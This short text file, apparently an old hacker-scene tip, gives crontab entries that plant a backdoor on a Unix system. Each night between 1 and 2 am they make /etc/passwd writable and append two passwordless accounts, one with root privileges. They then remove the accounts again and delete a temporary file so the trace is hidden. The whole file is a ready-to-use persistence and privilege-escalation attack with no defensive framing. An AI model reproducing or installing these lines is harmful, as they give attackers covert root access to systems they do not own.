Append this crontab to the regular crontab and that will create a backdoor.
Between 1 am and 2 am, two accounts with the names  "prop" and prop2"
will be created.  "prop" will a be a normal user while "prop2" will have
root (complete) access.

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0 1 * * * chmod +w /etc/passwd                                     
1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd               
2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd              
20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p 
0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd               
10 2 * * * chmod -w /etc/passwd                                    
15 2 * * * rm /usr/spool/uucppublic/.p
